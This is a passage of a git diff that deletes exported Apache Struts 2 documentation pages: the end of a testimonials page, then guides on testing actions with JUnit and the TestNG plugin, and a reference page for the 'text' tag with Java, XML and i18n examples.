-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Testimonials</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14091">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14091">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14091">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14091">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14091">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14091">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p><em>WebWork rocks! We use it for our</em> <em><a shape="rect" class="external-link" href="http://www.agileedge.com" rel="nofollow"><em>Bug Tracking</em></a></em> <em>and for several of our clients.  We have moved several sites from Struts to WebWork. I love it.  Another site we work with for</em> <em><a shape="rect" class="external-link" href="http://www.surveyconsole.com" rel="nofollow"><em>Survey Software</em></a></em> <em>is also moving off of Struts to WebWork.  Everything is easi [...]
-
-<p><em>Again... another site in 1 week with Site Mesh and WebWork. Its a</em> <em><a shape="rect" class="external-link" href="http://www.jambango.com" rel="nofollow"><em>blog community</em></a></em> <em>site.  The one I manage... being a cyclist is the</em> <em><a shape="rect" class="external-link" href="http://cycling.jambango.com" rel="nofollow"><em>Cycling Community</em></a></em></p>
-
-<p><strong>Mike Porter, Architect, eSage Group</strong><br clear="none">
-<a shape="rect" class="external-link" href="http://www.esagegroup.com" rel="nofollow">http://www.esagegroup.com</a></p>
-
-<hr>
-<p><em>Two years ago we dediced to use WebWork instead of Struts because of it's technical superiority and it proved to be an excellent decision. WebWork is successfully used by productive customer applications running with WebLogic and Tomcat. A major project will be migrated to the newest XWork/WebWork versions in the next 6 months. Besides it's technical advantages, XWork/WebWork has a smart and extremely skilled developer team and a healthy community.</em></p>
-
-<p><strong>Lars Fischer, Project Manager, Compudata AG Switzerland</strong><br clear="none">
-<a shape="rect" class="external-link" href="http://www.compudata.ch" rel="nofollow">http://www.compudata.ch</a></p>
-
-<hr>
-<p><em>WebWork is a very versatile web framework. After using solutions ranging from home-grown to Struts, WebWork is truly a breath of fresh air. XWork/WebWork not only used advanced techniques and technology, but brought concepts to the table that actually made development easier. These include built-in IOC, easy to use Spring integration, and null-property handling, and of course, type conversion.</em></p>
-
-<p><em>I'm definitely looking forward to utilizing the newest features in my future projects. Keep up the good work!</em></p>
-
-<p><strong>Jay Bose, Sr. Engineer, Notiva Corporation</strong><br clear="none">
-<a shape="rect" class="external-link" href="http://www.notiva.com" rel="nofollow">http://www.notiva.com</a></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/testing-actions.html b/content/docs/testing-actions.html
deleted file mode 100644
index 12e7351..0000000
--- a/content/docs/testing-actions.html
+++ /dev/null
@@ -1,231 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Testing Actions</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="junit-plugin.html">JUnit Plugin</a>&nbsp;&gt;&nbsp;<a href="testing-actions.html">Testing Actions</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Testing Actions</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2330106">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=2330106">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2330106">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=2330106">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2330106">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=2330106">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The recommended way to test actions is to instantiate the action classes and test them. The <a shape="rect" href="junit-plugin.html">JUnit Plugin</a> supports testing actions within a Struts invocation, meaning that a full request is simulated, and the output of the action can be tested.</p><h3 id="TestingActions-Strutsactions(withoutSpring)">Struts actions (without Spring)</h3><p>To test actions that do not use Spring, extend <code>StrutsTestCa [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;struts&gt;
-    &lt;constant name="struts.objectFactory" value="spring"/&gt;
-    &lt;package name="test" namespace="/test" extends="struts-default"&gt;
-        &lt;action name="testAction" class="org.apache.struts2.TestAction"&gt;
-            &lt;result type="freemarker"&gt;/template.ftl&lt;/result&gt;
-        &lt;/action&gt;
-    &lt;/package&gt;
-&lt;/struts&gt;
-</pre>
-</div></div><p>Action:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">public class TestAction extends ActionSupport {
-    private String name;
-
-    public String getName() {
-        return name;
-    }
-
-    public void setName(String name) {
-        this.name = name;
-    }
-}
-</pre>
-</div></div><p>JUnit:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">package org.apache.struts2;
-
-import org.apache.struts2.dispatcher.mapper.ActionMapping;
-
-import java.util.HashMap;
-import java.io.UnsupportedEncodingException;
-
-import com.opensymphony.xwork2.ActionProxy;
-import com.opensymphony.xwork2.Action;
-
-import javax.servlet.ServletException;
-
-public class StrutsTestCaseTest extends StrutsTestCase {
-    public void testGetActionMapping() {
-        ActionMapping mapping = getActionMapping("/test/testAction.action");
-        assertNotNull(mapping);
-        assertEquals("/test", mapping.getNamespace());
-        assertEquals("testAction", mapping.getName());
-    }
-
-    public void testGetActionProxy() throws Exception {
-        //set parameters before calling getActionProxy
-        request.setParameter("name", "FD");
-        
-        ActionProxy proxy = getActionProxy("/test/testAction.action");
-        assertNotNull(proxy);
-
-        TestAction action = (TestAction) proxy.getAction();
-        assertNotNull(action);
-
-        String result = proxy.execute();
-        assertEquals(Action.SUCCESS, result);
-        assertEquals("FD", action.getName());
-    }
-
-    public void testExecuteAction() throws ServletException, UnsupportedEncodingException {
-        String output = executeAction("/test/testAction.action");
-        assertEquals("Hello", output);
-    }
-
-    public void testGetValueFromStack() throws ServletException, UnsupportedEncodingException {
-        request.setParameter("name", "FD");
-        executeAction("/test/testAction.action");
-        String name = (String) findValueAfterExecute("name");
-        assertEquals("FD", name);
-    }
-}
-</pre>
-</div></div><h3 id="TestingActions-Thetemplate">The template</h3><p>If you use JSPs as the template engine you won't be able to test the action output outside the container. The <a shape="rect" href="embedded-jsp-plugin.html">Embedded JSP Plugin</a> can be used to overcome this limitation and be able to use JSPs from the classpath and outside the container.</p><p>There are several utility methods and mock objects defined in StrutsTestCase which can be used to facilitate the testing:<br c [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-    &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-spring-plugin&lt;/artifactId&gt;
-    &lt;version&gt;STRUTS_VERSION&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>If you use Spring as the object factory, the <code>StrutsSpringTestCase</code> class can be used to write your JUnits. This class extends <code>StrutsTestCase</code> and has a <code>applicationContext</code> field of type <code>ApplicationContext</code>.</p><p>The Spring context is loaded from "classpath*:applicationContext.xml" by default. To provide a different location, overwrite <code>getContextLocations</code>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/testng-plugin.html b/content/docs/testng-plugin.html
deleted file mode 100644
index 48744d6..0000000
--- a/content/docs/testng-plugin.html
+++ /dev/null
@@ -1,196 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>TestNG Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="testng-plugin.html">TestNG Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">TestNG Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=82452">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=82452">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=82452">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=82452">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=82452">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=82452">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>The TestNG plugin provides integration with the popular <a shape="rect" class="external-link" href="http://testng.org" rel="nofollow">TestNG</a> unit testing framework.</p>
-
-<p>This plugin provides a base <code>StrutsTestCase</code> class that can subclassed for tests that work on Struts 2 components.  </p>
-
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>This plugin is only available with Struts 2.1.1 or later</p></div></div>
-
-<h2 id="TestNGPlugin-Features">Features</h2>
-
-<ul><li>Base test class that starts up a full Struts 2 instance</li><li>Great for testing how configuration is loaded and Struts 2 components are used</li></ul>
-
-
-<h2 id="TestNGPlugin-Usage">Usage</h2>
-
-<p>First, include the plugin your POM (if using Maven 2) under the test scope:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-  &lt;artifactId&gt;struts2-testng-plugin&lt;/artifactId&gt;
-  &lt;version&gt;STRUTS_2_VERSION&lt;/version&gt;
-  &lt;scope&gt;test&lt;/scope&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div>
-
-<p>If you are not using Maven 2 to build and test your code, ensure the plugin jar and its dependencies (spring-mock and testng) are in the testing classpath.</p>
-
-<p>Now, your unit tests can subclass the <code>StrutsTestCase</code> class, which handles starting and stopping the Struts 2 framework:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class MyTest extends StrutsTestCase {
- // testing code
-}
-</pre>
-</div></div>
-
-<h2 id="TestNGPlugin-Settings">Settings</h2>
-
-<p>This plugin doesn't support any global settings.</p>
-
-<h2 id="TestNGPlugin-Installation">Installation</h2>
-
-<p>This plugin is meant to be used during unit testing, and not during runtime.  Therefore, include it in your build's classpath, but do not deploy it to <code>WEB-INF/lib</code> in your Struts 2 application.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/text.html b/content/docs/text.html
deleted file mode 100644
index 7eeaa16..0000000
--- a/content/docs/text.html
+++ /dev/null
@@ -1,175 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>text</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="text.html">text</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">text</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14044">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14044">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14044">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14044">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14044">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14044">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><rich-text-body><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></rich-text-body>
-
-<h2 id="text-Description">Description</h2>
-
-<plain-text-body>{snippet:id=javadoc|javadoc=true|url=org.apache.struts2.components.Text}</plain-text-body>
-
-<p>For more details on using resource bundles with Struts 2 read the <a shape="rect" href="localization.html">localization guide</a>.</p>
-
-<h2 id="text-Parameters">Parameters</h2>
-
-<plain-text-body>{snippet:id=tagattributes|javadoc=false|url=struts2-tags/text.html}</plain-text-body>
-
-<h2 id="text-Examples">Examples</h2>
-
-<plain-text-body>{snippet:id=exdescription|lang=none|javadoc=true|url=org.apache.struts2.components.Text}</plain-text-body>
-<plain-text-body>{snippet:id=example|lang=xml|javadoc=true|url=org.apache.struts2.components.Text}</plain-text-body>
-<p>Other example</p>
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:text name="format.money"&gt;&lt;s:param name="value" value="myMoneyValue"/&gt;&lt;/s:text&gt;
-</plain-text-body>
-<p>where the following is in a regular (possibly locale-specific) properties file:</p>
-<plain-text-body>
-format.money={0,number,currency}
-</plain-text-body>
-
-<p>For more about formatting text, see</p>
-<ol><li><a shape="rect" class="external-link" href="http://java.sun.com/j2se/1.4.2/docs/api/java/text/MessageFormat.html" rel="nofollow">http://java.sun.com/j2se/1.4.2/docs/api/java/text/MessageFormat.html</a></li><li><a shape="rect" class="external-link" href="http://java.sun.com/docs/books/tutorial/i18n/format/decimalFormat.html" rel="nofollow">http://java.sun.com/docs/books/tutorial/i18n/format/decimalFormat.html</a></li></ol>
-
-
-<h2 id="text-Ifyouwishtousei18ninyourtagattributes">If you wish to use i18n in your tag attributes</h2>
-<p>This will <strong>not</strong> work:</p>
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:textfield name="lastName" label="&lt;s:text name="person.lastName"/&gt;" ../&gt;
-</plain-text-body>
-<p>Instead, you should use the getText() method that you inherit when your Action extends XWork's ActionSupport:</p>
-<parameter ac:name="">xml</parameter><plain-text-body>
-&lt;s:textfield name="lastName" label="getText('person.lastName')" ../&gt;
-</plain-text-body></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
